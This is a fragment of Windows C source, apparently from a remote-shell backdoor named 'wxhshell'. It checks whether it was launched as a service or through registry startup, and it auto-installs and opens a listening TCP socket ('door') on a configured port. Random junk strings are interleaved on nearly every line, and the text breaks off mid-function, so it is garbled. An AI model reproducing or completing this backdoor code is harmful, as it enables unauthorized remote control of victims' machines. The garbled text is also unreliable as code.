ULONG UniqueProcessId; 2+Fq'!
ULONG InheritedFromUniqueProcessId; >\@6i
s
} PROCESS_BASIC_INFORMATION; gbI0?G6XN/
C6/,-?%)
PROCNTQSIP NtQueryInformationProcess; x^C,xP[#Y;
Mr`u!T&sc
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y2<g96
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b%v1]a[
XKR?vr7A2
HANDLE hProcess; ;APg!5X
PROCESS_BASIC_INFORMATION pbi; \l]jX:
9(
2 3>lE}^G
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f[dwu39k
if(NULL == hInst ) return 0; "E'OPR
Xbap'/t
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <rCl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YjsaTdZ!&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _@d.wfM
!E$S&zVMQ
if (!NtQueryInformationProcess) return 0; 55yP.@i9J
^@tn+'.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZegsV|
if(!hProcess) return 0; H,\c"
X}?cAo2N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; op"Cc
-@i2]o
CloseHandle(hProcess); 6?hv,^
r3iNfY b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); blS*HKw
if(hProcess==NULL) return 0; `;i|
%$TU
hz )L+
HMODULE hMod; u2!8'-Ai
char procName[255]; qOk4qbl[
unsigned long cbNeeded;
wN*e6dOF
N5~g:([k
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mg;;o
R;,&CQUl
CloseHandle(hProcess); rl6vt*g
5M*ZZ+YX
if(strstr(procName,"services")) return 1; // 以服务启动 o^>*aQ!7<D
}TYCF@
return 0; // 注册表启动 SIbQs8h]
} V{a 7@_y
.Sb|+[{
// 主模块 Ebp8})P/~
int StartWxhshell(LPSTR lpCmdLine) -;Hd_ ~O>j
{ hDz_BvE
SOCKET wsl; m2 N
?Fg
BOOL val=TRUE; }3vB_0[r
int port=0; &jg,8
struct sockaddr_in door; *h]qh20t
=D3Y
q?
if(wscfg.ws_autoins) Install(); 3`="4
g]d@X_ &D
port=atoi(lpCmdLine); I.\u2B/?
\yM[?/<
if(port<=0) port=wscfg.ws_port; o_={xrmIA
qWr`cO~hc
WSADATA data; dqG+hh^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _ sM$O>
*A8CJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N8m^h:b
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XrBLw}lD`N
door.sin_family = AF_INET; (o e;pa
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <